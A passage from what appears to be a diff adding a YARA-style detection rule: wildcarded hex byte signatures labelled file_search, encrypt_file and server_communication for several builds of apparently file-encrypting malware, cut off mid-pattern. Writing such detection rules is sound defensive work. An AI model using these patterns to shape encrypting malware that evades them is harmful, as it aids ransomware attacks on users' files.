?? 83 C4 ?? 85 C0 0F 84 1E 02 00 00 56 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? + 83 C4 ?? 83 F8 ?? 76 1A 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 8D + 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 + 0F 84 AF 01 00 00 8D 8C 24 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 92 01 00 00 8D 94 24 ?? ?? + ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 75 01 00 00 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 + } + $file_search_0_3_4a_2 = { + 83 C4 ?? 85 C0 0F 84 58 01 00 00 8D 8C 24 ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 3B 01 + 00 00 8D 94 24 ?? ?? ?? ?? 57 52 E8 10 FE FF FF 8D 84 24 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? E9 E7 00 00 00 56 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 52 E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 FF 74 79 8D 54 + 24 ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 7F 00 00 00 8D 44 24 ?? 50 E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 63 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 75 47 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 75 35 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB 23 8D + 4C 24 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 10 8D 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 + ?? 50 55 FF D3 85 C0 74 0D 83 3D ?? ?? ?? ?? ?? 0F 84 7D FD FF FF 55 FF 15 ?? ?? ?? ?? 5B 8B 8C 24 ?? ?? ?? ?? 5F 5E 5D + 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + $file_search_0_3_5a_1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 8B AC 24 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 8D + 84 24 ?? ?? ?? ?? 6A ?? 50 66 C7 84 24 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 6A + ?? 51 66 C7 84 24 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 55 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 + C4 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? + 52 FF 15 ?? ?? ?? ?? 83 F8 ?? 89 44 24 ?? 0F 84 91 03 00 00 8B 9C 24 ?? ?? ?? ?? F6 44 24 ?? ?? 0F 84 73 02 00 00 8D 4C + 24 ?? B8 ?? ?? ?? ?? 90 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 + 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 23 03 00 00 8D 4C 24 ?? B8 ?? ?? ?? ?? 8D 64 24 ?? 66 8B 10 66 3B 11 75 1E + 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 E3 + 02 00 00 55 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B C5 83 C4 ?? 8D 50 ?? 8B FF 66 8B 08 83 C0 ?? 66 85 + C9 75 F5 2B C2 D1 F8 83 F8 ?? 76 1A 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 + 24 ?? 52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 + 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 + C0 0F 84 3F 02 00 00 8D 8C 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? + 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 00 02 00 00 8D 8C 24 ?? ?? ?? ?? B8 + } + $file_search_0_3_5a_2 = { + 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 + 1B C0 83 D8 ?? 85 C0 0F 84 C1 01 00 00 8D 8C 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B + 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 82 01 00 00 8D 8C 24 ?? + ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 1E 66 85 D2 74 15 66 8B 50 ?? 66 3B 51 ?? 75 0F 83 C0 ?? 83 C1 ?? 66 85 D2 + 75 DE 33 C0 EB 05 1B C0 83 D8 ?? 85 C0 0F 84 43 01 00 00 8D 8C 24 ?? ?? ?? ?? 53 51 E8 0F FD FF FF 8D 94 24 ?? ?? ?? ?? + 52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 + E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ED 00 00 00 55 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 + ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 51 8D 94 + 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 DB 8D 44 24 ?? 0F 84 79 00 00 00 50 E8 ?? ?? ?? ?? 83 C4 ?? + 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 78 00 00 00 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 59 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + 85 C0 75 3A 8D 7C 24 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 2C 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 1E 68 ?? ?? ?? ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 74 0C 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? 8D 4C 24 ?? 51 57 FF 15 ?? ?? ?? ?? 85 C0 + 0F 85 7D FC FF FF 57 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5D 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + $encrypt_file_0_2_6a_1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 33 C0 56 8B B4 24 ?? ?? ?? ?? 57 33 FF 68 ?? ?? + ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? 88 84 + 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? + ?? 8D 84 24 ?? ?? ?? ?? 57 50 89 74 24 ?? C6 84 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 66 89 BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A + ?? 56 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 + E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 1A 57 56 + FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 89 7C 24 ?? 75 21 56 FF 15 ?? ?? ?? ?? 5F 83 C8 ?? 5E 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? + ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 81 FF ?? ?? ?? ?? 77 D7 53 55 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 94 24 ?? ?? + ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 8B D7 83 E2 ?? BB ?? ?? ?? ?? 2B DA 89 8C 24 + } + $encrypt_file_0_2_6a_2 = { + 8B 8C 24 ?? ?? ?? ?? 03 FB 57 89 84 24 ?? ?? ?? ?? 89 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B E8 83 C4 ?? 85 ED 74 3C + 8B 4C 24 ?? 6A ?? 8D 44 24 ?? 50 51 55 56 FF 15 ?? ?? ?? ?? 85 C0 74 24 8B 44 24 ?? 3B 44 24 ?? 75 1A 53 8D 14 28 53 52 + E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 75 0F 56 FF 15 ?? ?? ?? ?? 83 C8 ?? E9 D5 00 00 00 8D 44 24 ?? 50 + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 94 24 ?? ?? ?? ?? 52 57 53 55 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? + 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 6A ?? 8D 8C 24 ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 54 24 ?? 52 6A ?? + 8D 44 24 ?? 50 56 FF 15 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 51 57 53 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 74 24 ?? 8D + 94 24 ?? ?? ?? ?? 52 56 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 74 0F 56 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 05 + ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 55 11 05 ?? ?? ?? ?? 01 3D ?? ?? ?? ?? 11 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? + 83 C4 ?? B8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5D 5B 5F 5E 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + $encrypt_file_0_3_1 = { + 53 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 94 24 + ?? ?? ?? ?? 8B D5 83 E2 ?? BF ?? ?? ?? ?? 2B FA 89 8C 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8D 1C 2F 53 89 84 24 ?? ?? ?? + ?? 89 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 89 44 24 ?? 74 38 6A ?? 8D 4C 24 ?? 51 55 50 56 FF 15 ?? ?? ?? ?? + 85 C0 74 24 3B 6C 24 ?? 75 1E 57 57 8B 7C 24 ?? 8D 14 2F 52 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B E8 83 C4 ?? 85 ED 75 0F + 56 FF 15 ?? ?? ?? ?? 83 C8 ?? E9 0F 01 00 00 8D 44 24 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? 51 8D 94 24 ?? ?? + ?? ?? 52 53 55 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 + 6A ?? 8D 8C 24 ?? ?? ?? ?? 51 56 FF D7 6A ?? 8D 54 24 ?? 52 6A ?? 8D 44 24 ?? 50 56 FF D7 6A ?? 8D 4C 24 ?? 51 53 55 56 + FF D7 56 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 33 F6 8D 9B ?? ?? ?? ?? 8B 44 24 ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 52 50 FF 15 + ?? ?? ?? ?? 85 C0 75 27 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 0E 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A ?? FF D7 83 + C6 ?? 83 FE ?? 7C C0 A1 ?? ?? ?? ?? 33 F6 3B C6 74 13 8B 54 24 ?? 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 05 ?? + ?? ?? ?? ?? 8B 44 24 ?? 50 11 35 ?? ?? ?? ?? 01 1D ?? ?? ?? ?? 11 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 83 C4 + ?? B8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5B 5D 5F 5E 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + $encrypt_file_0_3_3_1 = { + 55 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 89 94 24 + ?? ?? ?? ?? 8B D3 83 E2 ?? BD ?? ?? ?? ?? 2B EA 89 84 24 ?? ?? ?? ?? 8D 04 2B 89 8C 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? + 50 89 8C 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 0A 01 00 00 6A ?? 8D 44 24 ?? 50 53 57 56 + FF 15 ?? ?? ?? ?? 85 C0 75 18 56 FF 15 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 C8 ?? E9 98 01 00 00 3B 5C 24 ?? 75 1E + 55 8D 0C 1F 55 51 E8 ?? ?? ?? ?? 8B 6C 24 ?? 55 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 75 18 57 E8 ?? ?? ?? ?? 83 C4 ?? 56 + FF 15 ?? ?? ?? ?? 83 C8 ?? E9 5C 01 00 00 8D 54 24 ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 8C 24 ?? ?? ?? + ?? 51 55 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 6A ?? 8D 54 24 ?? 52 6A + ?? 8D 84 24 ?? ?? ?? ?? 50 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 74 39 6A ?? 8D 4C 24 ?? 51 6A ?? 8D 54 24 ?? 52 56 C7 + 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 74 1C 8B 4C 24 ?? 6A ?? 8D 44 24 ?? 50 51 53 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 75 + 1E 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 83 C8 ?? E9 AB 00 00 00 56 FF 15 ?? ?? ?? ?? 56 FF + } + $encrypt_file_0_3_3_2 = { + 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 33 F6 8D 49 ?? 8B 44 24 ?? 6A ?? 8D 94 24 ?? ?? ?? ?? 52 50 FF 15 ?? ?? ?? ?? 85 C0 75 + 2A FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 0E 8D 8C 24 ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D5 83 C6 ?? 83 FE + ?? 7C BD A1 ?? ?? ?? ?? 33 F6 3B C6 74 13 8B 54 24 ?? 52 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 05 ?? ?? ?? ?? ?? + 8B 44 24 ?? 57 11 35 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 11 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? + ?? ?? 8B 8C 24 ?? ?? ?? ?? 5D 5B 5F 5E 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + $encrypt_file_0_3_4a_1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 33 C0 56 8B B4 24 ?? ?? ?? ?? 57 33 FF 68 ?? ?? + ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? 88 84 + 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? + ?? 8D 84 24 ?? ?? ?? ?? 57 50 89 74 24 ?? C6 84 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 66 89 BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A + ?? 56 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 + E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ?? 57 57 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 19 5F 0B C0 + 5E 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 53 57 56 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 74 08 81 FB + ?? ?? ?? ?? 76 22 56 FF 15 ?? ?? ?? ?? 5B 5F 83 C8 ?? 5E 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + 55 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 6A ?? 8D 8C 24 ?? ?? ?? ?? 51 8D 94 24 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 8B + C3 83 E0 ?? BD ?? ?? ?? ?? 2B E8 8D 04 2B 50 89 44 24 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 0F 84 0A 01 00 00 6A ?? 8D + 4C 24 ?? 51 53 57 56 FF 15 ?? ?? ?? ?? 85 C0 75 18 56 FF 15 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 C8 ?? E9 99 01 00 + } + $encrypt_file_0_3_4a_2 = { + 00 3B 5C 24 ?? 75 1E 55 8D 14 1F 55 52 E8 ?? ?? ?? ?? 8B 6C 24 ?? 55 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 75 18 57 E8 ?? + ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 83 C8 ?? E9 5D 01 00 00 8D 44 24 ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? + 51 8D 94 24 ?? ?? ?? ?? 52 55 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 6A + ?? 8D 44 24 ?? 50 6A ?? 8D 8C 24 ?? ?? ?? ?? 51 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 74 39 6A ?? 8D 54 24 ?? 52 6A ?? + 8D 44 24 ?? 50 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 74 1C 8B 54 24 ?? 6A ?? 8D 4C 24 ?? 51 52 53 56 C7 44 24 ?? ?? ?? + ?? ?? FF D5 85 C0 75 1E 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 83 C8 ?? E9 AC 00 00 00 56 FF + 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 33 F6 8D 64 24 ?? 8B 4C 24 ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 50 51 FF + 15 ?? ?? ?? ?? 85 C0 75 2A FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 0E 8D 94 24 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? + ?? FF D5 83 C6 ?? 83 FE ?? 7C BD A1 ?? ?? ?? ?? 33 F6 3B C6 74 13 8B 4C 24 ?? 51 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 83 05 ?? ?? ?? ?? ?? 8B 54 24 ?? 57 11 35 ?? ?? ?? ?? 01 15 ?? ?? ?? ?? 11 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 E8 ?? ?? + ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5D 5B 5F 5E 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + $encrypt_file_0_3_5a_1 = { + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 33 C0 55 56 57 33 FF 68 ?? ?? ?? ?? 89 84 24 + ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? + 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 89 84 24 ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? 88 84 24 ?? ?? ?? ?? 8D 84 24 ?? + ?? ?? ?? 8B F1 57 50 89 74 24 ?? C6 84 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 66 89 BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A + ?? 56 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 + E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ?? 57 57 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 0F 84 D2 00 00 + 00 57 56 FF 15 ?? ?? ?? ?? 8B E8 83 FD ?? 0F 84 B8 00 00 00 3B EF 0F 84 B0 00 00 00 81 FD ?? ?? ?? ?? 0F 87 A4 00 00 00 + 8D 4F ?? 8D 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 89 8C 24 ?? + ?? ?? ?? 89 84 24 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8B CD 83 E1 ?? BB ?? ?? ?? ?? 2B D9 89 84 24 ?? ?? ?? ?? 8D 04 2B 50 + 89 94 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 3B 6A ?? 8D 54 24 ?? 52 55 57 56 FF 15 ?? ?? ?? + ?? 85 C0 75 18 56 FF 15 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 C8 ?? E9 98 01 00 00 3B 6C 24 ?? 74 18 57 E8 + } + $encrypt_file_0_3_5a_2 = { + 83 C4 ?? 56 FF 15 ?? ?? ?? ?? 83 C8 ?? E9 7A 01 00 00 53 8D 04 2F 53 50 E8 ?? ?? ?? ?? 8B 6C 24 ?? 83 C4 ?? 55 E8 ?? + ?? ?? ?? 8B D8 83 C4 ?? 85 DB 74 C7 8D 4C 24 ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 54 24 ?? 52 8D 84 24 ?? ?? ?? ?? 50 + 55 57 8B CB E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 51 6A ?? + 8D 94 24 ?? ?? ?? ?? 52 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 75 0F 57 E8 ?? ?? ?? ?? 83 C4 ?? 53 E9 5E FF FF FF 6A ?? + 8D 44 24 ?? 50 6A ?? 8D 4C 24 ?? 51 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 74 D4 8B 44 24 ?? 6A ?? 8D 54 24 ?? 52 50 53 + 56 C7 44 24 ?? ?? ?? ?? ?? FF D5 85 C0 74 B8 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 33 F6 EB 09 8D + A4 24 ?? ?? ?? ?? 8B FF 8B 54 24 ?? 6A ?? 8D 8C 24 ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 75 2A FF 15 ?? ?? ?? ?? 3D + ?? ?? ?? ?? 75 0E 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D5 83 C6 ?? 83 FE ?? 7C BD A1 ?? ?? ?? ?? + 33 F6 3B C6 74 13 8B 4C 24 ?? 51 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 05 ?? ?? ?? ?? ?? 8B 54 24 ?? 57 11 35 ?? + ?? ?? ?? 01 15 ?? ?? ?? ?? 11 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? 8B 8C 24 + ?? ?? ?? ?? 5F 5E 5D 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + $server_communication_0_2_6a_1 = { + B8 ?? 